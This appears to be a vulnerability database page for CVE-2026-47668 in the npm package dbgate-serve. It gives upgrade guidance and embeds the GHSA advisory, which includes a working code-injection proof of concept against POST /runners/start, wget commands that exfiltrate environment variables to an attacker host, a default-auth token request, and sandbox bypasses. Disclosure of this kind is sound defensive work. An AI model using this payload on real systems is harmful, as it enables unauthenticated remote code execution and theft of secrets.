Vulnerabilities in pkg:npm/dbgate-serve
PACKAGECVE-2026-47668 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting DbGate libraries in the npm ecosystem. The issue involves unauthenticated remote code execution via json script runner. Remediation is available by upgrading affected packages to version 7.1.9.
pkg:npm/dbgate-serve
Vulnerability advisories affecting package pkg:npm/dbgate-serve. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-8v3q-9vmx-36vc | CVE-2026-47668 | CRITICAL | DbGate: Unauthenticated Remote Code Execution via JSON Script Runner |
CVE-2026-47668 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-47668
To remediate this vulnerability, upgrade all affected DbGate dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install dbgate-serve@7.1.9
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls dbgate-serve
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-47668, inspect your project dependencies using npm:
npm ls dbgate-serve
Analyze the terminal output to locate any version of DbGate in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.1.9), your application is affected.
Note: The npm ls dbgate-serve command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In DbGate, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-47668 Affected DbGate Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dbgate-serve
|
npm |
< 7.1.9
|
7.1.9
|
References
Frequently Asked Questions
What is CVE-2026-47668?
Which DbGate versions are affected?
What version fixes CVE-2026-47668?
Is dbgate-serve affected?
What is the CVSS score of CVE-2026-47668?
What CWE is associated with CVE-2026-47668?
How can I check npm dependencies for CVE-2026-47668?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8v3q-9vmx-36vc",
"modified" : "2026-06-05T16:25:23Z",
"published" : "2026-06-05T16:25:23Z",
"aliases" : [ "CVE-2026-47668" ],
"summary" : "DbGate: Unauthenticated Remote Code Execution via JSON Script Runner",
"details" : "### Summary\nDbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.\n\n### Details\n#### Step 1: User Input Entry Point\n\n**File:** `packages/api/src/controllers/runners.js` - `start()` method\n\nThe `/runners/start` endpoint accepts a POST body containing a `script` object. When `script.type == 'json'`, the request follows a different code path than raw shell scripts:\n\n```javascript\nasync start({ script }, req) {\n if (script.type == 'json') {\n if (!platformInfo.isElectron) {\n if (!checkSecureDirectoriesInScript(script)) {\n return { errorMessage: 'Unallowed directories in script' };\n }\n }\n logJsonRunnerScript(req, script);\n const js = await jsonScriptToJavascript(script);\n return this.startCore(runid, scriptTemplate(js, false));\n }\n```\nThis path skips:\n1. The `run-shell-script` permission check\n2. The `allowShellScripting` platform-level check\n\nThe only validation performed is `checkSecureDirectoriesInScript()`, which `props.fileName` values\n\n---\n\n#### Step 2: JSON-to-JavaScript Conversion (Injection Point)\n\n**File:** `packages/tools/src/ScriptWriter.ts` - `assignCore()` method\n\nThe JSON script's `commands` array contains objects with `type: \"assign\"`. The `assignCore` method generates JavaScript by direct string concatenation of user-controlled values:\n\n```typescript\nassignCore(variableName, functionName, props) {\n this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);\n}\n```\n\nBoth `variableName` and `functionName` are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.\n\n---\n\n#### Step 3: Function Name Compilation\n\n**File:** `packages/tools/src/packageTools.ts` - `compileShellApiFunctionName()`\n\nBefore interpolation, `functionName` passes through this function:\n\n```typescript\nexport function compileShellApiFunctionName(functionName) {\n const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);\n if (nsMatch) {\n return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;\n }\n return `dbgateApi.${functionName}`;\n}\n```\n\nAn attacker supplying `functionName: \"x;MALICIOUS_CODE;//\"` gets:\n```\ndbgateApi.x;MALICIOUS_CODE;//\n```\n\nThis is syntactically valid JavaScript: `dbgateApi.x` evaluates (and is discarded), `MALICIOUS_CODE` executes, and `//` comments out the trailing `(${JSON.stringify(props)});`.\n\n---\n\n#### Step 4: Generated JavaScript Template\n\nThe complete generated script that gets executed:\n\n```javascript\nconst dbgateApi = require(process.env.DBGATE_API);\nrequire = null;\nasync function run() {\n const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});\n await dbgateApi.finalizer.run();\n}\ndbgateApi.runScript(run);\n```\n\n#### Step 5: Execution via child_process.fork()\n\n**File:** `packages/api/src/controllers/runners.js` - `startCore()` method\n\nThe generated JavaScript string is written to a temporary file and executed as a new Node.js process via `child_process.fork()`. This provides the attacker with a full Node.js runtime, including access to `process`, `child_process`, `fs`, `net`, and all other Node.js built-in modules.\n\nThe `require = null` sandbox can be bypassed via:\n- `process.mainModule.require()` - separate reference unaffected by the null assignment\n- `module.constructor._load()` - internal module loader, also unaffected\n---\n\n#### Additional Injection Points\n\nThe same unsanitised string interpolation pattern exists in:\n\n| Endpoint | Parameter | File |\n|----------|-----------|------|\n| `POST /runners/start` | `functionName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/start` | `variableName` in assign commands | `ScriptWriter.ts` - `assignCore()` |\n| `POST /runners/load-reader` | `functionName` parameter | `ScriptWriter.ts` - `loaderScriptTemplate` |\n\n### PoC\n```http\nPOST /runners/start HTTP/1.1\nHost: <dbgate-instance>:3000\nAuthorization: Bearer <token>\nContent-Type: application/json\n\n{\n \"script\": {\n \"type\": \"json\",\n \"commands\": [\n {\n \"type\": \"assign\",\n \"variableName\": \"x\",\n \"functionName\": \"x;process.mainModule.require('child_process').execSync('wget --post-data \\\"$(env 2>1&)\\\" <out of band host>');//\",\n \"props\": {}\n }\n ],\n \"packageNames\": []\n }\n}\n```\n\nThe request to the out of band host was as follows:\n\n```http\nPOST / HTTP/1.1\nHost: <out of band host>\nUser-Agent: Wget/1.21.3\nAccept: */*\nAccept-Encoding: identity\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 251\n\nNODE_VERSION=22.22.2\nHOSTNAME=4714c7a7405f\nYARN_VERSION=1.22.22\nHOME=/root\nTERM=xterm\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nDBGATE_API=/home/dbgate-docker/bundle.js\nPWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c\n```\n\n---\n\nA bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:\n\n```bash\ncurl -sk -H \"Content-Type: application/json\" -d '{\"amoid\":\"none\"}' <dbgate-instance>:3000/auth/login\n```\n\n### Impact\n\n| Scenario | Impact | CVSS Score | CVSS Vector | \n|----------|--------|--------|--------|\n| Anonymous auth mode (default deployment) (`authProvider: \"Anonymous\"`) | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |\n| Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |\n\n### Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-31 | Vulnerability discovered |\n| 2026-04-07 | Advisory report prepared and submitted to maintainer |\n| 2026-04-22 | Fix released (v7.1.9) |\n| 2026-04-24 | Maintainer acknowledgment |\n| 2026-05-20 | Public disclosure |\n\n### Acknowledgements\n\n- Discovery assisted by Neo from @ProjectDiscovery\n- Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "dbgate-serve"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "7.1.9"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 7.1.8"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dbgate/dbgate/security/advisories/GHSA-8v3q-9vmx-36vc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dbgate/dbgate"
}, {
"type" : "WEB",
"url" : "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
}, {
"type" : "WEB",
"url" : "https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1188", "CWE-20", "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-05T16:25:23Z",
"nvd_published_at" : null
}
}